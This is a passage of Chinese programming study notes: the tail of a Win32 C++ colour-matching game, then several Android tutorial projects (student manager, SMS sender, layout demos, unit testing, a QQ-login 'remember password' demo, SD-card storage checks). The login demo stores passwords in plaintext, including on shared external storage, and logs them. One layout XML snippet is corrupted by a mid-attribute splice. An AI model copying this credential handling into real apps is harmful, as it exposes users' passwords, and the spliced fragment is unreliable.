&rect);//获取的是指示器控件的大小 // 创建一个笔刷 HBRUSH hBrush = CreateSolidBrush(g_ColorNow); SelectObject(hdc, hBrush); Rectangle(hdc, 0, 0, rect.right - rect.left, rect.bottom - rect.top); ReleaseDC(hColorWnd, hdc); return true; } bool OnStartGame(HWND hWnd) { if (g_ColorNow == 0) // 如果点击开始游戏的时候,没有选择颜色,先要求选择一次 { OnChangeColor(hWnd); } OnInitStageData(hWnd); OnShowStage(hWnd); return false; } // 初始化的函数 bool OnInitDialog(HWND hWnd) { g_Stage = 1; return false; } // 检查一个点是否在规定矩形内 bool PointInRect(HWND hWnd,POINT pt, RECT rect) { return pt.x < (rect.right - rect.left) && pt.y < (rect.bottom - rect.top); } // 检查一个点是否是全局链表中的正确色块信息 bool PointIsRight(HWND hWnd, POINT pt) { //遍历链表,对比每个色块的位置信息与鼠标点 HWND gameWnd = GetDlgItem(hWnd, IDC_GAME_AREA); RECT WndRect; GetWindowRect(gameWnd, &WndRect); // 将屏幕坐标转换成客户区坐标并减去 POINT lefttop; lefttop.x = WndRect.left; lefttop.y = WndRect.top; ScreenToClient(hWnd, &lefttop); //570427370 // pt.x -= lefttop.x; pt.y -= lefttop.y; bool bIsRight = false; GameList::iterator iter = g_GameList.begin(); for (; iter != g_GameList.end();iter++) { GameRect gameRect = *iter; // 如果鼠标点在矩形区域内,且矩形区域是不同颜色滴...找到了正确答案 if (PointInRect(hWnd,pt,gameRect.rect) && gameRect.Win) { bIsRight = true; break; } } return bIsRight; } // Windows通过消息来驱动, INT_PTR CALLBACK GameProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { RECT gameArea; switch (uMsg) { case WM_INITDIALOG://首次创建窗口时产生 OnInitDialog(hWnd); break; case WM_LBUTTONUP: POINT pt; GetCursorPos(&pt);//获取当前鼠标的位置 ScreenToClient(hWnd, &pt);//鼠标点也转成客户区坐标系 GetWindowRect(GetDlgItem(hWnd, IDC_GAME_AREA), &gameArea); if (PointInRect(hWnd,pt,gameArea)) // 检查鼠标点是否在游戏区域内 { if (PointIsRight(hWnd, pt)) { g_Stage++; // 当前关卡加1 SendMessage(hWnd, WM_COMMAND, IDC_BTN_START, 0);//模拟鼠标点击窗口中开始游戏按钮 } else MessageBox(hWnd, L"选择错误", L"Wrong", MB_OK | MB_ICONINFORMATION); } break; case WM_NOTIFY://获取通知消息 if (wParam == IDC_SLIDER_DIF) { g_GameDiff = (unsigned int)SendMessage(GetDlgItem(hWnd, IDC_SLIDER_DIF), TBM_GETPOS, 0, 0); if (g_GameDiff <1) { g_GameDiff = 1; } char szTmp[MAX_PATH]; sprintf_s(szTmp, MAX_PATH, "当前游戏难度:%d", 100-g_GameDiff); SetDlgItemTextA(hWnd, IDC_STATIC_DIF, szTmp); } break; case WM_COMMAND: switch (LOWORD(wParam)) { case IDC_BUTTON_CHANGE_COLOR: OnChangeColor(hWnd); break; case IDC_BTN_START: OnStartGame(hWnd); break; default: break; } break; case WM_CLOSE: case WM_DESTROY: PostQuitMessage(0); return TRUE; default: break; } return FALSE; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { g_hInstance = hInstance; HWND hWnd = CreateDialog(hInstance, MAKEINTRESOURCE(IDD_DIALOG_MAIN), NULL, GameProc); if (hWnd == 0) { MessageBox(0, L"创建窗口失败", 0, 0); return -1; } // 获取窗口大小,将窗口设置到整个屏幕的中心 RECT rect; GetWindowRect(hWnd, &rect); int nScreenX = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度 int nScreenY = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度 SetWindowPos(hWnd, HWND_TOP, nScreenX / 2 - (rect.right - rect.left) / 2, nScreenY / 2 - (rect.bottom - rect.top) / 2, 0, 0, SWP_NOSIZE | SWP_SHOWWINDOW);//不改变窗口大小,只将窗口置顶显示,并移动到屏幕中心 MSG msg; while (GetMessage(&msg,0,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } 鼠标点击色块区域的算法,还需进一步的修改。
学生管理系统 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima27.sutdentmanager" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima27.sutdentmanager.MainActivity" android:label="@string/app_name" android:theme="@android:style/Theme.NoTitleBar" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@android:color/white" android:orientation="vertical" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center_horizontal" android:layout_marginTop="5dip" android:text="学生管理系统" android:textColor="#99CCFF" android:textSize="23sp" /> <RelativeLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginTop="5dip" android:padding="5dip" > <TextView android:id="@+id/tv_name" android:layout_width="wrap_content" android:layout_height="wrap_content" android:paddingLeft="15dip" android:paddingRight="15dip" android:text="姓名" android:textSize="18sp" /> <TextView android:id="@+id/tv_sex" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="5dip" android:layout_toRightOf="@id/tv_name" android:paddingLeft="15dip" android:paddingRight="15dip" android:text="性别" android:textSize="18sp" /> <TextView android:id="@+id/tv_age" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="5dip" android:layout_toRightOf="@id/tv_sex" android:paddingLeft="15dip" android:paddingRight="15dip" android:text="年龄" android:textSize="18sp" /> <EditText android:id="@+id/et_name" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@id/tv_name" android:layout_alignRight="@id/tv_name" android:layout_below="@id/tv_name" android:singleLine="true" /> <EditText android:id="@+id/et_sex" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@id/tv_sex" android:layout_alignRight="@id/tv_sex" android:layout_below="@id/tv_sex" android:singleLine="true" /> <EditText android:id="@+id/et_age" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@id/tv_age" android:layout_alignRight="@id/tv_age" android:layout_below="@id/tv_age" android:inputType="number" android:singleLine="true" /> <Button android:id="@+id/btn_add_student" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignBaseline="@id/et_age" android:layout_toRightOf="@id/et_age" android:text="添加学生" android:textSize="20sp" /> </RelativeLayout> <ScrollView android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_weight="1" > <LinearLayout android:id="@+id/ll_student_list" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_margin="1dip" android:orientation="vertical" android:padding="5dip" > </LinearLayout> </ScrollView> <LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginTop="5dip" android:orientation="horizontal" > <Button android:id="@+id/btn_save" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:text="保存数据" android:textSize="20sp" /> <Button android:id="@+id/btn_restore" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:text="恢复数据" android:textSize="20sp" /> </LinearLayout> </LinearLayout> package com.itheima27.sutdentmanager.entities; public class Student { private String name; private String sex; private Integer age; public Student(String name, String sex, Integer age) { super(); this.name = name; this.sex = sex; this.age = age; } public Student() { super(); // TODO Auto-generated constructor stub } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } @Override public String toString() { return "Student [name=" + name + ", sex=" + sex + ", age=" + age + "]"; } } package com.itheima27.sutdentmanager; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.xmlpull.v1.XmlPullParser; import org.xmlpull.v1.XmlPullParserException; import org.xmlpull.v1.XmlSerializer; import com.itheima27.sutdentmanager.entities.Student; import android.os.Bundle; import android.os.Environment; import android.app.Activity; import android.graphics.Color; import android.text.TextUtils; import android.util.Xml; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends Activity implements OnClickListener { private EditText etName; private EditText etSex; private EditText etAge; private LinearLayout llStudentList; private List<Student> studentList; private String filePath; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); init(); } private void init() { etName = (EditText) findViewById(R.id.et_name); etSex = (EditText) findViewById(R.id.et_sex); etAge = (EditText) findViewById(R.id.et_age); llStudentList = (LinearLayout) findViewById(R.id.ll_student_list); findViewById(R.id.btn_save).setOnClickListener(this); findViewById(R.id.btn_restore).setOnClickListener(this); findViewById(R.id.btn_add_student).setOnClickListener(this); studentList = new ArrayList<Student>(); filePath = Environment.getExternalStorageDirectory().getPath() + "/student.xml"; } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_save: if(studentList.size() > 0) { if(saveStudent2Local()) { Toast.makeText(this, "保存成功", 0).show(); } else { Toast.makeText(this, "保存失败", 0).show(); } } else { Toast.makeText(this, "当前没有数据", 0).show(); } break; case R.id.btn_restore: if(restoreStudentFromLocal()) { Toast.makeText(this, "恢复成功", 0).show(); } else { Toast.makeText(this, "恢复失败", 0).show(); } break; case R.id.btn_add_student: addStudent(); break; default: break; } } private boolean restoreStudentFromLocal() { try { XmlPullParser parser = Xml.newPullParser(); parser.setInput(new FileInputStream(filePath), "utf-8"); int eventType = parser.getEventType(); studentList.clear(); Student student = null; String nodeName = null; while(eventType != XmlPullParser.END_DOCUMENT) { nodeName = parser.getName(); switch (eventType) { case XmlPullParser.START_TAG: if("student".equals(nodeName)) { student = new Student(); } else if("name".equals(nodeName)) { student.setName(parser.nextText()); } else if("sex".equals(nodeName)) { student.setSex(parser.nextText()); } else if("age".equals(nodeName)) { student.setAge(Integer.valueOf(parser.nextText())); } break; case XmlPullParser.END_TAG: if("student".equals(nodeName)) { studentList.add(student); } break; default: break; } eventType = parser.next(); } refreshStudentList(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } private void refreshStudentList() { llStudentList.removeAllViews(); TextView childView; for (Student student : studentList) { childView = new TextView(this); childView.setTextSize(23); childView.setTextColor(Color.BLACK); childView.setText(" " + student.getName() + " " + student.getSex() + " " + student.getAge()); llStudentList.addView(childView); } } private boolean saveStudent2Local() { try { XmlSerializer serializer = Xml.newSerializer(); serializer.setOutput(new FileOutputStream(filePath), "utf-8"); serializer.startDocument("utf-8", true); serializer.startTag(null, "infos"); for (Student stu : studentList) { serializer.startTag(null, "student"); serializer.startTag(null, "name"); serializer.text(stu.getName()); serializer.endTag(null, "name"); serializer.startTag(null, "sex"); serializer.text(stu.getSex()); serializer.endTag(null, "sex"); serializer.startTag(null, "age"); serializer.text(String.valueOf(stu.getAge())); serializer.endTag(null, "age"); serializer.endTag(null, "student"); } serializer.endTag(null, "infos"); serializer.endDocument(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } private void addStudent() { String name = etName.getText().toString(); String sex = etSex.getText().toString(); String age = etAge.getText().toString(); if(!TextUtils.isEmpty(name) && !TextUtils.isEmpty(sex) && !TextUtils.isEmpty(age)) { studentList.add(new Student(name, sex, Integer.valueOf(age))); TextView childView = new TextView(this); childView.setTextSize(23); childView.setTextColor(Color.BLACK); childView.setText(" " + name + " " + sex + " " + age); llStudentList.addView(childView); } else { Toast.makeText(this, "请正确输入", 0).show(); } } } 动态刷新界面 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="onClick" android:text="添加" /> <ScrollView android:layout_width="fill_parent" android:layout_height="fill_parent" > <LinearLayout android:id="@+id/ll" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > </LinearLayout> </ScrollView> </LinearLayout> <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.refreshview" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.refreshview.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> package com.itheima28.refreshview; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.widget.LinearLayout; import android.widget.TextView; public class MainActivity extends Activity { private LinearLayout llGroup; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); llGroup = (LinearLayout) findViewById(R.id.ll); } public void onClick(View view) { // 添加一个TextView向llGroup // 定义一个textview对象 TextView tv = new TextView(this); tv.setText("张三 女 34"); // 把textview对象添加到linearlayout中 llGroup.addView(tv); } }
短信发送器 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.smssender" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.SEND_SMS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.smssender.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" > <TextView android:id="@+id/tv_number" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="请输入手机号" /> <EditText android:id="@+id/et_number" android:inputType="number" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_below="@id/tv_number" /> <TextView android:id="@+id/tv_content" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/et_number" android:text="请输入短信内容" /> <EditText android:id="@+id/et_content" android:layout_width="match_parent" android:layout_height="200px" android:gravity="top" android:layout_below="@id/tv_content" /> <Button android:id="@+id/btn_send" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/et_content" android:text="发送短信" /> </RelativeLayout> package com.itheima28.smssender; import android.os.Bundle; import android.app.Activity; import android.telephony.SmsManager; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; public class MainActivity extends Activity implements OnClickListener { private EditText etNumber; private EditText etContent; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); etNumber = (EditText) findViewById(R.id.et_number); etContent = (EditText) findViewById(R.id.et_content); Button button = (Button) findViewById(R.id.btn_send); button.setOnClickListener(this); } @Override public void onClick(View v) { // 号码 String number = etNumber.getText().toString(); // 内容 String content = etContent.getText().toString(); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage( number, // 收件人 null, // 短信中心号码 content, // 内容 null, null); } } 布局演示(LinearLayout, RelativeLayout) <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="right" android:text="按钮1" /> <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:gravity="right|center_vertical" android:text="按钮2" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="按钮3" /> <LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="按钮1" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:text="按钮2" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" an<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="right" android:text="按钮1" /> <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:gravity="right|center_vertical" android:text="按钮2" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="按钮3" /> <LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="按钮1" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:text="按钮2" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:visibility="gone" android:text="按钮3" /> </LinearLayout> </LinearLayout>droid:visibility="gone" android:text="按钮3" /> </LinearLayout> </LinearLayout> <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:text="进攻" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerVertical="true" android:text="左勾拳" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:layout_centerVertical="true" android:text="右勾拳" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" android:text="逃跑" /> <Button android:id="@+id/btn_bisha" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:text="大绝招" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_toLeftOf="@id/btn_bisha" android:layout_alignTop="@id/btn_bisha" android:text="左" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_above="@id/btn_bisha" android:layout_centerHorizontal="true" android:text="上" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_toRightOf="@id/btn_bisha" android:layout_alignBaseline="@id/btn_bisha" android:text="右" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/btn_bisha" android:layout_centerHorizontal="true" android:text="下" /> </RelativeLayout> 布局演示和android下单位 <?xml version="1.0" encoding="utf-8"?> <AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_x="1dp" android:layout_y="253dp" android:text="按钮" /> </AbsoluteLayout> 在制作播放器的时候,按钮是层次的。可以使用这种布局方式。 <?xml version="1.0" encoding="utf-8"?> <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" > <Button android:layout_width="300px" android:layout_height="300px" android:layout_gravity="center" android:text="最底部" /> <Button android:layout_width="150px" android:layout_height="150px" android:layout_gravity="center" android:text="中间" /> <Button android:layout_width="50px" android:layout_height="50px" android:layout_gravity="center" android:text="顶部" /> </FrameLayout> <?xml version="1.0" encoding="utf-8"?> <TableLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:shrinkColumns="0" android:collapseColumns="0" > <TableRow android:layout_height="wrap_content" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="第一行, 0列" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="第一行, 1列" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="第一行, 2列" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="第一行, 3列" /> </TableRow> <TableRow android:layout_height="wrap_content" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="第二行, 0列" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_column="2" android:layout_span="2" android:text="第二行, 1列" /> </TableRow> </TableLayout> <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="160px" android:layout_height="wrap_content" android:text="单位是px" android:textSize="18px" /> <Button android:layout_width="160dp" android:layout_height="wrap_content" android:text="单位是sp" android:textSize="18sp" /> </LinearLayout> android下Junit 冒烟测试: adb shell monkey -p <程序的包名> -v <事件的数量> android下单元测试: 在AndroidManifest.xml文件中配置一下信息: 在manifest节点下: <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="com.itheima28.junittest" /> 在application节点下配置下面信息: <uses-library android:name="android.test.runner" /> 测试时, 定义一个类继承AndroidTestCase 使用另外一个工程进行单元测试 保存数据到手机内存 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <EditText android:id="@+id/et_number" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入QQ号" /> <EditText android:id="@+id/et_password" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入密码" android:inputType="textPassword" /> <CheckBox android:id="@+id/cb_remerber_pwd" android:layout_width="wrap_content" android:layout_height="wrap_content" android:checked="true" android:text="记住密码" /> <Button android:id="@+id/btn_login" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="登录" /> </LinearLayout> package com.itheima28.qqlogin.utils; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.InputStreamReader; import java.util.HashMap; import java.util.Map; import android.content.Context; import android.text.TextUtils; public class Utils { /** * 保存用户信息 * @param number * @param password * @return true 成功 */ public static boolean saveUserInfo(String number, String password) { try { String path = "/data/data/com.itheima28.qqlogin/itheima28.txt"; FileOutputStream fos = new FileOutputStream(path); // 307966990##123123 String data = number + "##" + password; fos.write(data.getBytes()); fos.flush(); fos.close(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 保存用户信息 * @param number * @param password * @return true 成功 */ public static boolean saveUserInfo(Context context, String number, String password) { try { // String path = "/data/data/com.itheima28.qqlogin/itheima28.txt"; // File filesDir = context.getFilesDir(); File filesDir = context.getCacheDir(); File f = new File(filesDir, "itheima28.txt"); FileOutputStream fos = new FileOutputStream(f); // 307966990##123123 String data = number + "##" + password; fos.write(data.getBytes()); fos.flush(); fos.close(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 返回用户信息 * @return */ public static Map<String, String> getUserInfo() { try { String path = "/data/data/com.itheima28.qqlogin/itheima28.txt"; FileInputStream fis = new FileInputStream(path); // 字符流对象 BufferedReader reader = new BufferedReader(new InputStreamReader(fis)); // 307966990##123123 String text = reader.readLine(); if(!TextUtils.isEmpty(text)) { String[] split = text.split("##"); Map<String, String> userInfoMap = new HashMap<String, String>(); userInfoMap.put("number", split[0]); userInfoMap.put("password", split[1]); return userInfoMap; } } catch (Exception e) { e.printStackTrace(); } return null; } /** * 返回用户信息 * @return */ public static Map<String, String> getUserInfo(Context context) { try { // String path = "/data/data/com.itheima28.qqlogin/itheima28.txt"; // File filesDir = context.getFilesDir(); File filesDir = context.getCacheDir(); File f = new File(filesDir, "itheima28.txt"); FileInputStream fis = new FileInputStream(f); // 字符流对象 BufferedReader reader = new BufferedReader(new InputStreamReader(fis)); // 307966990##123123 String text = reader.readLine(); if(!TextUtils.isEmpty(text)) { String[] split = text.split("##"); Map<String, String> userInfoMap = new HashMap<String, String>(); userInfoMap.put("number", split[0]); userInfoMap.put("password", split[1]); return userInfoMap; } } catch (Exception e) { e.printStackTrace(); } return null; } } package com.itheima28.qqlogin; import java.util.Map; import android.app.Activity; import android.os.Bundle; import android.text.TextUtils; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.CheckBox; import android.widget.EditText; import android.widget.Toast; import com.itheima28.qqlogin.utils.Utils; import com.itheima28.qqlogin.utils.UtilsOfSharedPreferences; public class MainActivity extends Activity implements OnClickListener { private static final String TAG = "MainActivity"; private EditText etNumber; private EditText etPassword; private CheckBox cbRemerberPWD; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); etNumber = (EditText) findViewById(R.id.et_number); etPassword = (EditText) findViewById(R.id.et_password); cbRemerberPWD = (CheckBox) findViewById(R.id.cb_remerber_pwd); Button btnLogin = (Button) findViewById(R.id.btn_login); btnLogin.setOnClickListener(this); // 回显数据 Map<String, String> userInfoMap = UtilsOfSharedPreferences.getUserInfo(this); if(userInfoMap != null) { etNumber.setText(userInfoMap.get("number")); etPassword.setText(userInfoMap.get("password")); } } @Override public void onClick(View v) { // 执行登录的操作 // 1. 取出号码和密码 String number = etNumber.getText().toString(); String password = etPassword.getText().toString(); if(TextUtils.isEmpty(number) || TextUtils.isEmpty(password)) { // 弹出吐司 Toast.makeText(this, "请正确输入", Toast.LENGTH_SHORT).show(); return; } // 2. 判断记住密码是否被选中, 如果被选中, 存起来 if(cbRemerberPWD.isChecked()) { // 当前需要记住密码 Log.i(TAG, "记住密码: " + number + ", " + password); boolean isSuccess = UtilsOfSharedPreferences.saveUserInfo(this, number, password); if(isSuccess) { Toast.makeText(this, "保存成功", 0).show(); } else { Toast.makeText(this, "保存失败", 0).show(); } } // 3. 登陆成功 Toast.makeText(this, "登录成功", 0).show(); } } 保存数据到sd卡 package com.itheima28.qqlogin.utils; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.InputStreamReader; import java.util.HashMap; import java.util.Map; import android.content.Context; import android.os.Environment; import android.text.TextUtils; public class UtilsOfSDCard { /** * 保存用户信息到sd卡 * @param number * @param password * @return true 成功 */ public static boolean saveUserInfo(Context context, String number, String password) { try { // 判断当前的手机是否有sd卡 String state = Environment.getExternalStorageState(); if(!Environment.MEDIA_MOUNTED.equals(state)) { // 已经挂载了sd卡 return false; } File sdCardFile = Environment.getExternalStorageDirectory(); File file = new File(sdCardFile, "itheima28.txt"); FileOutputStream fos = new FileOutputStream(file); String data = number + "##" + password; fos.write(data.getBytes()); fos.flush(); fos.close(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 到sd卡获取用户信息 * @return */ public static Map<String, String> getUserInfo(Context context) { try { // 判断当前的手机是否有sd卡 String state = Environment.getExternalStorageState(); if(!Environment.MEDIA_MOUNTED.equals(state)) { // 已经挂载了sd卡 return null; } File sdCardFile = Environment.getExternalStorageDirectory(); File file = new File(sdCardFile, "itheima28.txt"); BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file))); String text = br.readLine(); br.close(); if(!TextUtils.isEmpty(text)) { Map<String, String> userInfoMap = new HashMap<String, String>(); String[] split = text.split("##"); userInfoMap.put("number", split[0]); userInfoMap.put("password", split[1]); return userInfoMap; } } catch (Exception e) { e.printStackTrace(); } return null; } } <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.qqlogin" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <!-- 写入sd卡的权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.qqlogin.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> 获得内存状态 获取sd卡的剩余空间; package com.itheima28.memorydemo; import java.io.File; import android.app.Activity; import android.os.Bundle; import android.os.Environment; import android.os.StatFs; import android.text.format.Formatter; import android.view.View; import android.widget.TextView; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); TextView tvMemoryInfo = (TextView) findViewById(R.id.tv_memory_info); // 获得sd卡的内存状态 File sdcardFileDir = Environment.getExternalStorageDirectory(); String sdcardMemory = getMemoryInfo(sdcardFileDir); // 获得手机内部存储控件的状态 File dataFileDir = Environment.getDataDirectory(); String dataMemory = getMemoryInfo(dataFileDir); tvMemoryInfo.setText("SD卡: " + sdcardMemory + "\n手机内部: " + dataMemory); } /** * 根据路径获取内存状态 * @param path * @return */ private String getMemoryInfo(File path) { // 获得一个磁盘状态对象 StatFs stat = new StatFs(path.getPath()); long blockSize = stat.getBlockSize(); // 获得一个扇区的大小 long totalBlocks = stat.getBlockCount(); // 获得扇区的总数 long availableBlocks = stat.getAvailableBlocks(); // 获得可用的扇区数量 // 总空间 String totalMemory = Formatter.formatFileSize(this, totalBlocks * blockSize); // 可用空间 String availableMemory = Formatter.formatFileSize(this, availableBlocks * blockSize); return "总空间: " + totalMemory + "\n可用空间: " + availableMemory; } } <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" 